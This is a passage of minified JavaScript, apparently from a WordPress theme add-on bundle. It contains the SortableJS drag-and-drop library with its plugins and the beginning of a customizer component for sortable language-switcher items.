e=this.el.ownerDocument;p(e,"mouseup",this._disableDelayedDrag),p(e,"touchend",this._disableDelayedDrag),p(e,"touchcancel",this._disableDelayedDrag),p(e,"mousemove",this._delayedDragTouchMoveHandler),p(e,"touchmove",this._delayedDragTouchMoveHandler),p(e,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(e,t){t=t||"touch"==e.pointerType&&e,!this.nativeDraggable||t?f(document,this.options.supportPointer?"pointermove":t?"touchmove":"mousemove",this._onTouchMove):(f(z,"dragend",this),f(G,"dragstart",this._onDragStart));try{document.selection?Ye((function(){document.selection.empty()})):window.getSelection().removeAllRanges()}catch(e){}},_dragStarted:function(e,t){if(ve=!1,G&&z){U("dragStarted",this,{evt:t}),this.nativeDraggable&&f(document,"dragover",ke);var n=this.options;!e&&y(z,n.dragClass,!1),y(z,n.ghostClass,!0),Ne.active=this,e&&this._appendGhost(),F({sortable:this,name:"start",originalEvent:t})}else this._nulling()},_emulateDragOver:function(){if(ae){this._lastX=ae.clientX,this._lastY=ae.clientY,Te();for(var e=document.elementFromPoint(ae.clientX,ae.clientY),t=e;e&&e.shadowRoot&&(e=e.shadowRoot.elementFromPoint(ae.clientX,ae.clientY))!==t;)t=e;if(z.parentNode[L]._isOutsideThisEl(e),t)do{if(t[L]&&t[L]._onDragOver({clientX:ae.clientX,clientY:ae.clientY,target:e,rootEl:t})&&!this.options.dragoverBubble)break;e=t}while(t=t.parentNode);je()}},_onTouchMove:function(e){if(re){var t=this.options,n=t.fallbackTolerance,o=t.fallbackOffset,r=e.touches?e.touches[0]:e,a=K&&E(K,!0),i=K&&a&&a.a,l=K&&a&&a.d,s=De&&he&&I(he),c=(r.clientX-re.clientX+o.x)/(i||1)+(s?s[0]-we[0]:0)/(i||1),u=(r.clientY-re.clientY+o.y)/(l||1)+(s?s[1]-we[1]:0)/(l||1);if(!Ne.active&&!ve){if(n&&Math.max(Math.abs(r.clientX-this._lastX),Math.abs(r.clientY-this._lastY))<n)return;this._onDragStart(e,!0)}if(K){a?(a.e+=c-(ie||0),a.f+=u-(le||0)):a={a:1,b:0,c:0,d:1,e:c,f:u};var d="matrix("+a.a+","+a.b+","+a.c+","+a.d+","+a.e+","+a.f+")";w(K,"webkitTransform",d),w(K,"mozTransform",d),w(K,"msTransform",d),w(K,"transform",d),ie=c,le=u,ae=r}e.cancelable&&e.preventDefault()}},_appendGhost:function(){if(!K){var e=this.options.fallbackOnBody?document.body:G,t=D(z,!0,De,!0,e),n=this.options;if(De){for(he=e;"static"===w(he,"position")&&"none"===w(he,"transform")&&he!==document;)he=he.parentNode;he!==document.body&&he!==document.documentElement?(he===document&&(he=S()),t.top+=he.scrollTop,t.left+=he.scrollLeft):he=S(),we=I(he)}y(K=z.cloneNode(!0),n.ghostClass,!1),y(K,n.fallbackClass,!0),y(K,n.dragClass,!0),w(K,"transition",""),w(K,"transform",""),w(K,"box-sizing","border-box"),w(K,"margin",0),w(K,"top",t.top),w(K,"left",t.left),w(K,"width",t.width),w(K,"height",t.height),w(K,"opacity","0.8"),w(K,"position",De?"absolute":"fixed"),w(K,"zIndex","100000"),w(K,"pointerEvents","none"),Ne.ghost=K,e.appendChild(K),w(K,"transform-origin",se/parseInt(K.style.width)*100+"% "+ce/parseInt(K.style.height)*100+"%")}},_onDragStart:function(e,t){var n=this,o=e.dataTransfer,r=n.options;U("dragStart",this,{evt:e}),Ne.eventCanceled?this._onDrop():(U("setupClone",this),Ne.eventCanceled||(($=k(z)).draggable=!1,$.style["will-change"]="",this._hideClone(),y($,this.options.chosenClass,!1),Ne.clone=$),n.cloneId=Ye((function(){U("clone",n),Ne.eventCanceled||(n.options.removeCloneOnHide||G.insertBefore($,z),n._hideClone(),F({sortable:n,name:"clone"}))})),!t&&y(z,r.dragClass,!0),t?(ge=!0,n._loopId=setInterval(n._emulateDragOver,50)):(p(document,"mouseup",n._onDrop),p(document,"touchend",n._onDrop),p(document,"touchcancel",n._onDrop),o&&(o.effectAllowed="move",r.setData&&r.setData.call(n,o,z)),f(document,"drop",n),w(z,"transform","translateZ(0)")),ve=!0,n._dragStartId=Ye(n._dragStarted.bind(n,t,e)),f(document,"selectstart",n),ue=!0,s&&w(document.body,"user-select","none"))},_onDragOver:function(e){var t,n,r,a,i=this.el,l=e.target,s=this.options,c=s.group,u=Ne.active,d=ne===c,f=s.sort,p=oe||u,h=this,v=!1;if(!Ee){if(void 0!==e.preventDefault&&e.cancelable&&e.preventDefault(),l=g(l,s.draggable,i,!0),B("dragOver"),Ne.eventCanceled)return v;if(z.contains(e.target)||l.animated&&l.animatingX&&l.animatingY||h._ignoreWhileAnimating===l)return Y(!1);if(ge=!1,u&&!s.disabled&&(d?f||(r=!G.contains(z)):oe===this||(this.lastPutMode=ne.checkPull(this,u,z,e))&&c.checkPut(this,u,z,e))){if(a="vertical"===this._getDirection(e,l),t=D(z),B("dragOverValid"),Ne.eventCanceled)return v;if(r)return W=G,X(),this._hideClone(),B("revert"),Ne.eventCanceled||(q?G.insertBefore(z,q):G.appendChild(z)),Y(!0);var m=x(i,s.draggable);if(!m||function(e,t,n){var o=D(x(n.el,n.options.draggable));return t?e.clientX>o.right+10||e.clientX<=o.right&&e.clientY>o.bottom&&e.clientX>=o.left:e.clientX>o.right&&e.clientY>o.top||e.clientX<=o.right&&e.clientY>o.bottom+10}(e,a,this)&&!m.animated){if(m===z)return Y(!1);if(m&&i===e.target&&(l=m),l&&(n=D(l)),!1!==Re(G,i,z,t,l,n,e,!!l))return X(),i.appendChild(z),W=i,H(),Y(!0)}else if(l.parentNode===i){n=D(l);var b,E,O,S=z.parentNode!==i,_=!function(e,t,n){var o=n?e.left:e.top,r=n?t.left:t.top;return o===r||(n?e.right:e.bottom)===(n?t.right:t.bottom)||o+(n?e.width:e.height)/2===r+(n?t.width:t.height)/2}(z.animated&&z.toRect||t,l.animated&&l.toRect||n,a),I=a?"top":"left",T=C(l,"top","top")||C(z,"top","top"),j=T?T.scrollTop:void 0;if(de!==l&&(E=n[I],be=!1,ye=!_&&s.invertSwap||S),0!==(b=function(e,t,n,o,r,a,i,l){var s=o?e.clientY:e.clientX,c=o?n.height:n.width,u=o?n.top:n.left,d=o?n.bottom:n.right,f=!1;if(!i)if(l&&pe<c*r){if(!be&&(1===fe?s>u+c*a/2:s<d-c*a/2)&&(be=!0),be)f=!0;else if(1===fe?s<u+pe:s>d-pe)return-fe}else if(s>u+c*(1-r)/2&&s<d-c*(1-r)/2)return function(e){return P(z)<P(e)?1:-1}(t);return(f=f||i)&&(s<u+c*a/2||s>d-c*a/2)?s>u+c/2?1:-1:0}(e,l,n,a,_?1:s.swapThreshold,null==s.invertedSwapThreshold?s.swapThreshold:s.invertedSwapThreshold,ye,de===l))){var M=P(z);do{O=W.children[M-=b]}while(O&&("none"===w(O,"display")||O===K))}if(0===b||O===l)return Y(!1);de=l,fe=b;var k=l.nextElementSibling,N=!1,R=Re(G,i,z,t,l,n,e,N=1===b);if(!1!==R)return 1!==R&&-1!==R||(N=1===R),Ee=!0,setTimeout(Be,30),X(),N&&!k?i.appendChild(z):l.parentNode.insertBefore(z,N?k:l),T&&A(T,0,j-T.scrollTop),W=z.parentNode,void 0===E||ye||(pe=Math.abs(E-D(l)[I])),H(),Y(!0)}if(i.contains(z))return Y(!1)}return!1}function B(s,c){U(s,h,o({evt:e,isOwner:d,axis:a?"vertical":"horizontal",revert:r,dragRect:t,targetRect:n,canSort:f,fromSortable:p,target:l,completed:Y,onMove:function(n,o){return Re(G,i,z,t,n,D(n),e,o)},changed:H},c))}function X(){B("dragOverAnimationCapture"),h.captureAnimationState(),h!==p&&p.captureAnimationState()}function Y(t){return B("dragOverCompleted",{insertion:t}),t&&(d?u._hideClone():u._showClone(h),h!==p&&(y(z,oe?oe.options.ghostClass:u.options.ghostClass,!1),y(z,s.ghostClass,!0)),oe!==h&&h!==Ne.active?oe=h:h===Ne.active&&oe&&(oe=null),p===h&&(h._ignoreWhileAnimating=l),h.animateAll((function(){B("dragOverAnimationComplete"),h._ignoreWhileAnimating=null})),h!==p&&(p.animateAll(),p._ignoreWhileAnimating=null)),(l===z&&!z.animated||l===i&&!l.animated)&&(de=null),s.dragoverBubble||e.rootEl||l===document||(z.parentNode[L]._isOutsideThisEl(e.target),!t&&Ae(e)),!s.dragoverBubble&&e.stopPropagation&&e.stopPropagation(),v=!0}function H(){Q=P(z),te=P(z,s.draggable),F({sortable:h,name:"change",toEl:i,newIndex:Q,newDraggableIndex:te,originalEvent:e})}},_ignoreWhileAnimating:null,_offMoveEvents:function(){p(document,"mousemove",this._onTouchMove),p(document,"touchmove",this._onTouchMove),p(document,"pointermove",this._onTouchMove),p(document,"dragover",Ae),p(document,"mousemove",Ae),p(document,"touchmove",Ae)},_offUpEvents:function(){var e=this.el.ownerDocument;p(e,"mouseup",this._onDrop),p(e,"touchend",this._onDrop),p(e,"pointerup",this._onDrop),p(e,"touchcancel",this._onDrop),p(document,"selectstart",this)},_onDrop:function(e){var t=this.el,n=this.options;Q=P(z),te=P(z,n.draggable),U("drop",this,{evt:e}),W=z&&z.parentNode,Q=P(z),te=P(z,n.draggable),Ne.eventCanceled||(ve=!1,ye=!1,be=!1,clearInterval(this._loopId),clearTimeout(this._dragStartTimer),He(this.cloneId),He(this._dragStartId),this.nativeDraggable&&(p(document,"drop",this),p(t,"dragstart",this._onDragStart)),this._offMoveEvents(),this._offUpEvents(),s&&w(document.body,"user-select",""),w(z,"transform",""),e&&(ue&&(e.cancelable&&e.preventDefault(),!n.dropBubble&&e.stopPropagation()),K&&K.parentNode&&K.parentNode.removeChild(K),(G===W||oe&&"clone"!==oe.lastPutMode)&&$&&$.parentNode&&$.parentNode.removeChild($),z&&(this.nativeDraggable&&p(z,"dragend",this),Le(z),z.style["will-change"]="",ue&&!ve&&y(z,oe?oe.options.ghostClass:this.options.ghostClass,!1),y(z,this.options.chosenClass,!1),F({sortable:this,name:"unchoose",toEl:W,newIndex:null,newDraggableIndex:null,originalEvent:e}),G!==W?(Q>=0&&(F({rootEl:W,name:"add",toEl:W,fromEl:G,originalEvent:e}),F({sortable:this,name:"remove",toEl:W,originalEvent:e}),F({rootEl:W,name:"sort",toEl:W,fromEl:G,originalEvent:e}),F({sortable:this,name:"sort",toEl:W,originalEvent:e})),oe&&oe.save()):Q!==J&&Q>=0&&(F({sortable:this,name:"update",toEl:W,originalEvent:e}),F({sortable:this,name:"sort",toEl:W,originalEvent:e})),Ne.active&&(null!=Q&&-1!==Q||(Q=J,te=ee),F({sortable:this,name:"end",toEl:W,originalEvent:e}),this.save())))),this._nulling()},_nulling:function(){U("nulling",this),G=z=W=K=q=$=V=Z=re=ae=ue=Q=te=J=ee=de=fe=oe=ne=Ne.dragged=Ne.ghost=Ne.clone=Ne.active=null,Oe.forEach((function(e){e.checked=!0})),Oe.length=ie=le=0},handleEvent:function(e){switch(e.type){case"drop":case"dragend":this._onDrop(e);break;case"dragenter":case"dragover":z&&(this._onDragOver(e),function(e){e.dataTransfer&&(e.dataTransfer.dropEffect="move"),e.cancelable&&e.preventDefault()}(e));break;case"selectstart":e.preventDefault()}},toArray:function(){for(var e,t=[],n=this.el.children,o=0,r=n.length,a=this.options;o<r;o++)g(e=n[o],a.draggable,this.el,!1)&&t.push(e.getAttribute(a.dataIdAttr)||Xe(e));return t},sort:function(e){var t={},n=this.el;this.toArray().forEach((function(e,o){var r=n.children[o];g(r,this.options.draggable,n,!1)&&(t[e]=r)}),this),e.forEach((function(e){t[e]&&(n.removeChild(t[e]),n.appendChild(t[e]))}))},save:function(){var e=this.options.store;e&&e.set&&e.set(this)},closest:function(e,t){return g(e,t||this.options.draggable,this.el,!1)},option:function(e,t){var n=this.options;if(void 0===t)return n[e];var o=Y.modifyOption(this,e,t);n[e]=void 0!==o?o:t,"group"===e&&Ie(n)},destroy:function(){U("destroy",this);var e=this.el;e[L]=null,p(e,"mousedown",this._onTapStart),p(e,"touchstart",this._onTapStart),p(e,"pointerdown",this._onTapStart),this.nativeDraggable&&(p(e,"dragover",this),p(e,"dragenter",this)),Array.prototype.forEach.call(e.querySelectorAll("[draggable]"),(function(e){e.removeAttribute("draggable")})),this._onDrop(),this._disableDelayedDragEvents(),me.splice(me.indexOf(this.el),1),this.el=e=null},_hideClone:function(){if(!Z){if(U("hideClone",this),Ne.eventCanceled)return;w($,"display","none"),this.options.removeCloneOnHide&&$.parentNode&&$.parentNode.removeChild($),Z=!0}},_showClone:function(e){if("clone"===e.lastPutMode){if(Z){if(U("showClone",this),Ne.eventCanceled)return;z.parentNode!=G||this.options.group.revertClone?q?G.insertBefore($,q):G.appendChild($):G.insertBefore($,z),this.options.group.revertClone&&this.animate(z,$),w($,"display",""),Z=!1}}else this._hideClone()}},Se&&f(document,"touchmove",(function(e){(Ne.active||ve)&&e.cancelable&&e.preventDefault()})),Ne.utils={on:f,off:p,css:w,find:O,is:function(e,t){return!!g(e,t,e,!1)},extend:function(e,t){if(e&&t)for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e},throttle:M,closest:g,toggleClass:y,clone:k,index:P,nextTick:Ye,cancelNextTick:He,detectDirection:Pe,getChild:_},Ne.get=function(e){return e[L]},Ne.mount=function(){var e=[].slice.call(arguments);e[0].constructor===Array&&(e=e[0]),e.forEach((function(e){if(!e.prototype||!e.prototype.constructor)throw"Sortable: Mounted plugin must be a constructor function, not "+{}.toString.call(e);e.utils&&(Ne.utils=o({},Ne.utils,e.utils)),Y.mount(e)}))},Ne.create=function(e,t){return new Ne(e,t)},Ne.version="1.12.0";var Ue,Fe,ze,We,Ke,Ge=[],qe=[],Ve=!1,$e=!1,Ze=!1;function Je(e,t){qe.forEach((function(n,o){var r=t.children[n.sortableIndex+(e?Number(o):0)];r?t.insertBefore(n,r):t.appendChild(n)}))}function Qe(){Ge.forEach((function(e){e!==ze&&e.parentNode&&e.parentNode.removeChild(e)}))}var et=function(e){var t=e.originalEvent,n=e.putSortable,o=e.dragEl,r=e.dispatchSortableEvent,a=e.unhideGhostForTarget;if(t){var i=n||e.activeSortable;(0,e.hideGhostForTarget)();var l=t.changedTouches&&t.changedTouches.length?t.changedTouches[0]:t,s=document.elementFromPoint(l.clientX,l.clientY);a(),i&&!i.el.contains(s)&&(r("spill"),this.onSpill({dragEl:o,putSortable:n}))}};function tt(){}function nt(){}tt.prototype={startIndex:null,dragStart:function(e){this.startIndex=e.oldDraggableIndex},onSpill:function(e){var t=e.dragEl,n=e.putSortable;this.sortable.captureAnimationState(),n&&n.captureAnimationState();var o=_(this.sortable.el,this.startIndex,this.options);o?this.sortable.el.insertBefore(t,o):this.sortable.el.appendChild(t),this.sortable.animateAll(),n&&n.animateAll()},drop:et},Object.assign(tt,{pluginName:"revertOnSpill"}),nt.prototype={onSpill:function(e){var t=e.dragEl,n=e.putSortable||this.sortable;n.captureAnimationState(),t.parentNode&&t.parentNode.removeChild(t),n.animateAll()},drop:et},Object.assign(nt,{pluginName:"removeOnSpill"});var ot,rt,at,it,lt,st,ct=[],ut=!1;function dt(){ct.forEach((function(e){clearInterval(e.pid)})),ct=[]}function ft(){clearInterval(st)}var pt=M((function(e,t,n,o){if(t.scroll){var r,a=(e.touches?e.touches[0]:e).clientX,i=(e.touches?e.touches[0]:e).clientY,l=t.scrollSensitivity,s=t.scrollSpeed,c=S(),u=!1;rt!==n&&(rt=n,dt(),r=t.scrollFn,!0===(ot=t.scroll)&&(ot=T(n,!0)));var d=0,f=ot;do{var p=f,h=D(p),v=h.top,g=h.bottom,m=h.left,b=h.right,y=h.width,E=h.height,O=void 0,C=void 0,_=p.scrollWidth,x=p.scrollHeight,P=w(p),I=p.scrollLeft,j=p.scrollTop;p===c?(O=y<_&&("auto"===P.overflowX||"scroll"===P.overflowX||"visible"===P.overflowX),C=E<x&&("auto"===P.overflowY||"scroll"===P.overflowY||"visible"===P.overflowY)):(O=y<_&&("auto"===P.overflowX||"scroll"===P.overflowX),C=E<x&&("auto"===P.overflowY||"scroll"===P.overflowY));var M=O&&(Math.abs(b-a)<=l&&I+y<_)-(Math.abs(m-a)<=l&&!!I),k=C&&(Math.abs(g-i)<=l&&j+E<x)-(Math.abs(v-i)<=l&&!!j);if(!ct[d])for(var N=0;N<=d;N++)ct[N]||(ct[N]={});ct[d].vx==M&&ct[d].vy==k&&ct[d].el===p||(ct[d].el=p,ct[d].vx=M,ct[d].vy=k,clearInterval(ct[d].pid),0==M&&0==k||(u=!0,ct[d].pid=setInterval(function(){o&&0===this.layer&&Ne.active._onTouchMove(lt);var t=ct[this.layer].vy?ct[this.layer].vy*s:0,n=ct[this.layer].vx?ct[this.layer].vx*s:0;"function"==typeof r&&"continue"!==r.call(Ne.dragged.parentNode[L],n,t,e,lt,ct[this.layer].el)||A(ct[this.layer].el,n,t)}.bind({layer:d}),24))),d++}while(t.bubbleScroll&&f!==c&&(f=T(f,!1)));ut=u}}),30);Ne.mount(new function(){function e(){for(var e in this.defaults={scroll:!0,scrollSensitivity:30,scrollSpeed:10,bubbleScroll:!0},this)"_"===e.charAt(0)&&"function"==typeof this[e]&&(this[e]=this[e].bind(this))}return e.prototype={dragStarted:function(e){var t=e.originalEvent;this.sortable.nativeDraggable?f(document,"dragover",this._handleAutoScroll):f(document,this.options.supportPointer?"pointermove":t.touches?"touchmove":"mousemove",this._handleFallbackAutoScroll)},dragOverCompleted:function(e){var t=e.originalEvent;this.options.dragOverBubble||t.rootEl||this._handleAutoScroll(t)},drop:function(){this.sortable.nativeDraggable?p(document,"dragover",this._handleAutoScroll):(p(document,"pointermove",this._handleFallbackAutoScroll),p(document,"touchmove",this._handleFallbackAutoScroll),p(document,"mousemove",this._handleFallbackAutoScroll)),ft(),dt(),clearTimeout(m),m=void 0},nulling:function(){lt=rt=ot=ut=st=at=it=null,ct.length=0},_handleFallbackAutoScroll:function(e){this._handleAutoScroll(e,!0)},_handleAutoScroll:function(e,t){var n=this,o=(e.touches?e.touches[0]:e).clientX,r=(e.touches?e.touches[0]:e).clientY,l=document.elementFromPoint(o,r);if(lt=e,t||i||a||s){pt(e,this.options,l,t);var c=T(l,!0);!ut||st&&o===at&&r===it||(st&&ft(),st=setInterval((function(){var a=T(document.elementFromPoint(o,r),!0);a!==c&&(c=a,dt()),pt(e,n.options,a,t)}),10),at=o,it=r)}else{if(!this.options.bubbleScroll||T(l,!0)===S())return void dt();pt(e,this.options,T(l,!1),!1)}}},Object.assign(e,{pluginName:"scroll",initializeByDefault:!0})}),Ne.mount(nt,tt),Ne.mount(new function(){function e(){this.defaults={swapClass:"sortable-swap-highlight"}}return e.prototype={dragStart:function(e){Me=e.dragEl},dragOverValid:function(e){var t=e.completed,n=e.target,o=e.changed,r=e.cancel;if(e.activeSortable.options.swap){var a=this.options;if(n&&n!==this.sortable.el){var i=Me;!1!==(0,e.onMove)(n)?(y(n,a.swapClass,!0),Me=n):Me=null,i&&i!==Me&&y(i,a.swapClass,!1)}o(),t(!0),r()}},drop:function(e){var t,n,o,r,a,i,l=e.activeSortable,s=e.putSortable,c=e.dragEl,u=s||this.sortable,d=this.options;Me&&y(Me,d.swapClass,!1),Me&&(d.swap||s&&s.options.swap)&&c!==Me&&(u.captureAnimationState(),u!==l&&l.captureAnimationState(),i=(n=Me).parentNode,(a=(t=c).parentNode)&&i&&!a.isEqualNode(n)&&!i.isEqualNode(t)&&(o=P(t),r=P(n),a.isEqualNode(i)&&o<r&&r++,a.insertBefore(n,a.children[o]),i.insertBefore(t,i.children[r])),u.animateAll(),u!==l&&l.animateAll())},nulling:function(){Me=null}},Object.assign(e,{pluginName:"swap",eventProperties:function(){return{swapItem:Me}}})}),Ne.mount(new function(){function e(e){for(var t in this)"_"===t.charAt(0)&&"function"==typeof this[t]&&(this[t]=this[t].bind(this));e.options.supportPointer?f(document,"pointerup",this._deselectMultiDrag):(f(document,"mouseup",this._deselectMultiDrag),f(document,"touchend",this._deselectMultiDrag)),f(document,"keydown",this._checkKeyDown),f(document,"keyup",this._checkKeyUp),this.defaults={selectedClass:"sortable-selected",multiDragKey:null,setData:function(t,n){var o="";Ge.length&&Fe===e?Ge.forEach((function(e,t){o+=(t?", ":"")+e.textContent})):o=n.textContent,t.setData("Text",o)}}}return e.prototype={multiDragKeyDown:!1,isMultiDrag:!1,delayStartGlobal:function(e){ze=e.dragEl},delayEnded:function(){this.isMultiDrag=~Ge.indexOf(ze)},setupClone:function(e){var t=e.sortable,n=e.cancel;if(this.isMultiDrag){for(var o=0;o<Ge.length;o++)qe.push(k(Ge[o])),qe[o].sortableIndex=Ge[o].sortableIndex,qe[o].draggable=!1,qe[o].style["will-change"]="",y(qe[o],this.options.selectedClass,!1),Ge[o]===ze&&y(qe[o],this.options.chosenClass,!1);t._hideClone(),n()}},clone:function(e){var t=e.dispatchSortableEvent,n=e.cancel;this.isMultiDrag&&(this.options.removeCloneOnHide||Ge.length&&Fe===e.sortable&&(Je(!0,e.rootEl),t("clone"),n()))},showClone:function(e){var t=e.cloneNowShown,n=e.cancel;this.isMultiDrag&&(Je(!1,e.rootEl),qe.forEach((function(e){w(e,"display","")})),t(),Ke=!1,n())},hideClone:function(e){var t=this,n=e.cloneNowHidden,o=e.cancel;this.isMultiDrag&&(qe.forEach((function(e){w(e,"display","none"),t.options.removeCloneOnHide&&e.parentNode&&e.parentNode.removeChild(e)})),n(),Ke=!0,o())},dragStartGlobal:function(e){!this.isMultiDrag&&Fe&&Fe.multiDrag._deselectMultiDrag(),Ge.forEach((function(e){e.sortableIndex=P(e)})),Ge=Ge.sort((function(e,t){return e.sortableIndex-t.sortableIndex})),Ze=!0},dragStarted:function(e){var t=this,n=e.sortable;if(this.isMultiDrag){if(this.options.sort&&(n.captureAnimationState(),this.options.animation)){Ge.forEach((function(e){e!==ze&&w(e,"position","absolute")}));var o=D(ze,!1,!0,!0);Ge.forEach((function(e){e!==ze&&N(e,o)})),$e=!0,Ve=!0}n.animateAll((function(){$e=!1,Ve=!1,t.options.animation&&Ge.forEach((function(e){R(e)})),t.options.sort&&Qe()}))}},dragOver:function(e){var t=e.completed,n=e.cancel;$e&&~Ge.indexOf(e.target)&&(t(!1),n())},revert:function(e){var t=e.fromSortable,n=e.rootEl,o=e.sortable,r=e.dragRect;Ge.length>1&&(Ge.forEach((function(e){o.addAnimationState({target:e,rect:$e?D(e):r}),R(e),e.fromRect=r,t.removeAnimationState(e)})),$e=!1,function(e,t){Ge.forEach((function(n,o){var r=t.children[n.sortableIndex+(e?Number(o):0)];r?t.insertBefore(n,r):t.appendChild(n)}))}(!this.options.removeCloneOnHide,n))},dragOverCompleted:function(e){var t=e.sortable,n=e.isOwner,o=e.activeSortable,r=e.parentEl,a=e.putSortable,i=this.options;if(e.insertion){if(n&&o._hideClone(),Ve=!1,i.animation&&Ge.length>1&&($e||!n&&!o.options.sort&&!a)){var l=D(ze,!1,!0,!0);Ge.forEach((function(e){e!==ze&&(N(e,l),r.appendChild(e))})),$e=!0}if(!n)if($e||Qe(),Ge.length>1){var s=Ke;o._showClone(t),o.options.animation&&!Ke&&s&&qe.forEach((function(e){o.addAnimationState({target:e,rect:We}),e.fromRect=We,e.thisAnimationDuration=null}))}else o._showClone(t)}},dragOverAnimationCapture:function(e){var t=e.dragRect,n=e.isOwner,o=e.activeSortable;if(Ge.forEach((function(e){e.thisAnimationDuration=null})),o.options.animation&&!n&&o.multiDrag.isMultiDrag){We=Object.assign({},t);var r=E(ze,!0);We.top-=r.f,We.left-=r.e}},dragOverAnimationComplete:function(){$e&&($e=!1,Qe())},drop:function(e){var t=e.originalEvent,n=e.rootEl,o=e.parentEl,r=e.sortable,a=e.dispatchSortableEvent,i=e.oldIndex,l=e.putSortable,s=l||this.sortable;if(t){var c=this.options,u=o.children;if(!Ze)if(c.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),y(ze,c.selectedClass,!~Ge.indexOf(ze)),~Ge.indexOf(ze))Ge.splice(Ge.indexOf(ze),1),Ue=null,H({sortable:r,rootEl:n,name:"deselect",targetEl:ze,originalEvt:t});else{if(Ge.push(ze),H({sortable:r,rootEl:n,name:"select",targetEl:ze,originalEvt:t}),t.shiftKey&&Ue&&r.el.contains(Ue)){var d,f,p=P(Ue),h=P(ze);if(~p&&~h&&p!==h)for(h>p?(f=p,d=h):(f=h,d=p+1);f<d;f++)~Ge.indexOf(u[f])||(y(u[f],c.selectedClass,!0),Ge.push(u[f]),H({sortable:r,rootEl:n,name:"select",targetEl:u[f],originalEvt:t}))}else Ue=ze;Fe=s}if(Ze&&this.isMultiDrag){if((o[L].options.sort||o!==n)&&Ge.length>1){var v=D(ze),g=P(ze,":not(."+this.options.selectedClass+")");if(!Ve&&c.animation&&(ze.thisAnimationDuration=null),s.captureAnimationState(),!Ve&&(c.animation&&(ze.fromRect=v,Ge.forEach((function(e){if(e.thisAnimationDuration=null,e!==ze){var t=$e?D(e):v;e.fromRect=t,s.addAnimationState({target:e,rect:t})}}))),Qe(),Ge.forEach((function(e){u[g]?o.insertBefore(e,u[g]):o.appendChild(e),g++})),i===P(ze))){var m=!1;Ge.forEach((function(e){e.sortableIndex===P(e)||(m=!0)})),m&&a("update")}Ge.forEach((function(e){R(e)})),s.animateAll()}Fe=s}(n===o||l&&"clone"!==l.lastPutMode)&&qe.forEach((function(e){e.parentNode&&e.parentNode.removeChild(e)}))}},nullingGlobal:function(){this.isMultiDrag=Ze=!1,qe.length=0},destroyGlobal:function(){this._deselectMultiDrag(),p(document,"pointerup",this._deselectMultiDrag),p(document,"mouseup",this._deselectMultiDrag),p(document,"touchend",this._deselectMultiDrag),p(document,"keydown",this._checkKeyDown),p(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(e){if(!(void 0!==Ze&&Ze||Fe!==this.sortable||e&&g(e.target,this.options.draggable,this.sortable.el,!1)||e&&0!==e.button))for(;Ge.length;){var t=Ge[0];y(t,this.options.selectedClass,!1),Ge.shift(),H({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:t,originalEvt:e})}},_checkKeyDown:function(e){e.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(e){e.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},Object.assign(e,{pluginName:"multiDrag",utils:{select:function(e){var t=e.parentNode[L];t&&t.options.multiDrag&&!~Ge.indexOf(e)&&(Fe&&Fe!==t&&(Fe.multiDrag._deselectMultiDrag(),Fe=t),y(e,t.options.selectedClass,!0),Ge.push(e))},deselect:function(e){var t=e.parentNode[L],n=Ge.indexOf(e);t&&t.options.multiDrag&&~n&&(y(e,t.options.selectedClass,!1),Ge.splice(n,1))}},eventProperties:function(){var e=this,t=[],n=[];return Ge.forEach((function(o){var r;t.push({multiDragElement:o,index:o.sortableIndex}),r=$e&&o!==ze?-1:$e?P(o,":not(."+e.options.selectedClass+")"):P(o),n.push({multiDragElement:o,index:r})})),{items:[].concat(Ge),clones:[].concat(qe),oldIndicies:t,newIndicies:n}},optionListeners:{multiDragKey:function(e){return"ctrl"===(e=e.toLowerCase())?e="Control":e.length>1&&(e=e.charAt(0).toUpperCase()+e.substr(1)),e}}})}),t.default=Ne},function(e,t,n){"use strict";n.r(t);var o=n(0),r=n(2),a=n.n(r),i=n(3),l=n.n(i),s=n(4),c=n.n(s),u=n(5),d=n(1);function f(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function p(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?f(Object(n),!0).forEach((function(t){l()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):f(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var h=wp.i18n.__,v=wp.components,g=v.Dashicon,m=v.TextControl,b=v.Button,y=function(e){window.svgIcons;var t=Object(d.useState)({open:!1}),n=a()(t,2),r=n[0],i=n[1],l=Object(o.createElement)("span",{className:"description customize-control-description"},h("Enter alternative URL which provides above selected language translation of your site.","astra-addon"));return Object(o.createElement)("div",{className:"ahfb-sorter-item","data-id":e.item.id,key:e.item.id},Object(o.createElement)("div",{className:"ahfb-sorter-item-panel-header",onClick:function(){i((function(e){return p(p({},e),{},{open:!r.open})}))}},Object(o.createElement)("span",{className:"ahfb-sorter-title"},void 0!==e.item.label&&""!==e.item.label?e.item.label:h("Language Item","astra-addon")),Object(o.createElement)(b,{className:"ahfb-sorter-item-expand ".concat(e.item.enabled?"item-is-visible":"item-is-hidden"),onClick:function(t){t.stopPropagation(),e.toggleEnabled(!e.item.enabled,e.index)}},Object(o.createElement)(g,{icon:"visibility"})),Object(o.createElement)(b,{className:"ahfb-sorter-item-remove",isDestructive:!0,onClick:function(){e.removeItem(e.index)}},Object(o.createElement)(g,{icon:"no-alt"}))),r.open&&Object(o.createElement)("div",{className:"ahfb-sorter-item-panel-content"},Object(o.createElement)(m,{label:h("Label","astra-addon"),value:e.item.label?e.item.label:"",onChange:function(t){e.onChangeLabel(t,e.index)}}),Object(o.createElement)(m,{label:h("URL","astra-addon"),value:e.item.url?e.item.url:"",onChange:function(t){e.onChangeURL(t,e.index)}}),l))};function w(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function E(e){for(var t=1;t<arguments.length;t++){var 